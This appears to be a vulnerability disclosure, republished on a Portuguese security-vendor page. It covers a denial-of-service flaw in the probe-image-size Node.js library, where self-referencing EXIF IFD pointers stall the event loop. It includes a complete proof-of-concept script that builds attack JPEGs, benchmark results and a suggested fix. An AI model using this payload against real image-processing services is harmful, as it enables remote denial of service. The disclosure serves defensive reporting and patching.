
PEACH
Uma estrutura de isolamento de inquilino
Filed here at the maintainer's request, in reply to our email of 2026-10-21: one GitHub report per issue. This is one of four separate reports split out of that email, and it stands alone. Found with AploSec, our security scanner, and confirmed by execution.
A 9.6 KB JPEG whose EXIF IFD points back at itself through many sub-IFD tags makes probe.sync block the event loop for about 23 seconds. The cost grows about 15x each time the entry count doubles. The same code runs for probe(stream) and probe(url).
lib/exif_utils.js:212. While looking for the orientation tag, entries with tag 0x8769 (ExifIFD pointer) and 0xA005 (InteropIFD pointer) are queued and followed without remembering which IFD offsets were already visited. An IFD with a entries of one kind and b of the other, all pointing at the IFD's own offset, costs about a*b*(a+b) entry reads and keeps growing the job queue. There is no tag 0x112 (orientation) in the file, so the early exit never triggers.
Reachable through the JPEG APP1 Exif path in probe.sync, probe(stream) and probe(url). The WebP and AVIF EXIF paths call the same get_orientation.
Attacker model: remote and unauthenticated. The attacker only needs to supply image bytes or an image URL to a service that calls probe-image-size (upload handlers, URL unfurling, image proxies).
poc3.js (7.4.0 at probe-image-size, 7.3.0 at ./old/node_modules/probe-image-size):
// EXIF sub-IFD fan-out: a x tag0x8769 + b x tag0xA005 entries, all pointing at the IFD itself (offset 8)
const probe = require('probe-image-size'), OLD = require('./old/node_modules/probe-image-size')
function tiff (a, b, benign) {
const n = a + b, buf = Buffer.alloc(8 + 2 + 12 * n + 4)
buf.write('II*\0', 0, 'latin1'); buf.writeUInt32LE(8, 4); buf.writeUInt16LE(n, 8)
for (let i = 0; i < n; i++) {
const o = 10 + 12 * i
buf.writeUInt16LE(benign ? 0x0100 : (i < a ? 0x8769 : 0xA005), o) // benign: plain tag (ImageWidth), not a link
buf.writeUInt16LE(4, o + 2); buf.writeUInt32LE(1, o + 4); buf.writeUInt32LE(8, o + 8)
}
return buf
}
function jpeg (t) {
const app1 = Buffer.concat([Buffer.from('Exif\0\0', 'latin1'), t])
const l = Buffer.alloc(2); l.writeUInt16BE(app1.length + 2)
const sof = Buffer.from([0xFF, 0xC0, 0, 11, 8, 0, 1, 0, 1, 1, 1, 0x11, 0])
return Buffer.concat([Buffer.from([0xFF, 0xD8, 0xFF, 0xE1]), l, app1, sof])
}
for (const n of [100, 200, 400, 800]) {
const atk = jpeg(tiff(n / 2, n / 2, false)), ctl = jpeg(tiff(n / 2, n / 2, true))
let s = process.hrtime.bigint(); const r1 = probe.sync(ctl); const tc = Number(process.hrtime.bigint() - s) / 1e6
s = process.hrtime.bigint(); const r2 = probe.sync(atk); const ta = Number(process.hrtime.bigint() - s) / 1e6
s = process.hrtime.bigint(); OLD.sync(atk); const to = Number(process.hrtime.bigint() - s) / 1e6
console.log(`entries=${n} jpeg=${atk.length}B control=${tc.toFixed(1)}ms attack(7.4.0)=${ta.toFixed(0)}ms attack(7.3.0)=${to.toFixed(0)}ms dims=${r2 && r2.width}x${r2 && r2.height}`)
}Test environment: Docker node:22-slim (Node 22.23.4), npm i probe-image-size@7.4.0 (and 7.3.0 in ./old where noted), runs with docker run --rm --network none.
Control: the same JPEG with the same number of entries, but using the plain tag 0x0100 (ImageWidth) instead of the two link tags. It parses in 0.1 to 1.1 ms at every size, so the slowdown comes from following the links and not from the entry count.
Results:
entries=100 jpeg=1239B control=1.1ms attack(7.4.0)=26ms attack(7.3.0)=27ms dims=1x1
entries=200 jpeg=2439B control=0.1ms attack(7.4.0)=131ms attack(7.3.0)=130ms dims=1x1
entries=400 jpeg=4839B control=0.2ms attack(7.4.0)=2038ms attack(7.3.0)=1841ms dims=1x1
entries=800 jpeg=9639B control=0.1ms attack(7.4.0)=23128ms attack(7.3.0)=23039ms dims=1x1A full-size APP1 segment holds about 5,400 entries, which extrapolates to hours. I did not run sizes above 800 entries (1,600 entries exceeded my time budget).
Denial of service. One small image pins the Node.js event loop, so a single request stalls every other request the process is serving, and a handful of requests take the service down. Memory also grows with the job queue. No authentication or user interaction is needed.
Keep a set of visited IFD offsets and skip offsets already seen, and cap the total number of IFDs or entries processed per image. Zachariah Mithani (zachariah@aplosai.com) AploSec (aplosec.si) Credit: Zachariah Mithani (@zachariah-mithani, AploSec)
Origem: NVD
Avaliação Gratuita de Vulnerabilidades
Avalie suas práticas de segurança em nuvem em 9 domínios de segurança para avaliar seu nível de risco e identificar lacunas em suas defesas.
Marque uma demonstração personalizada
"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."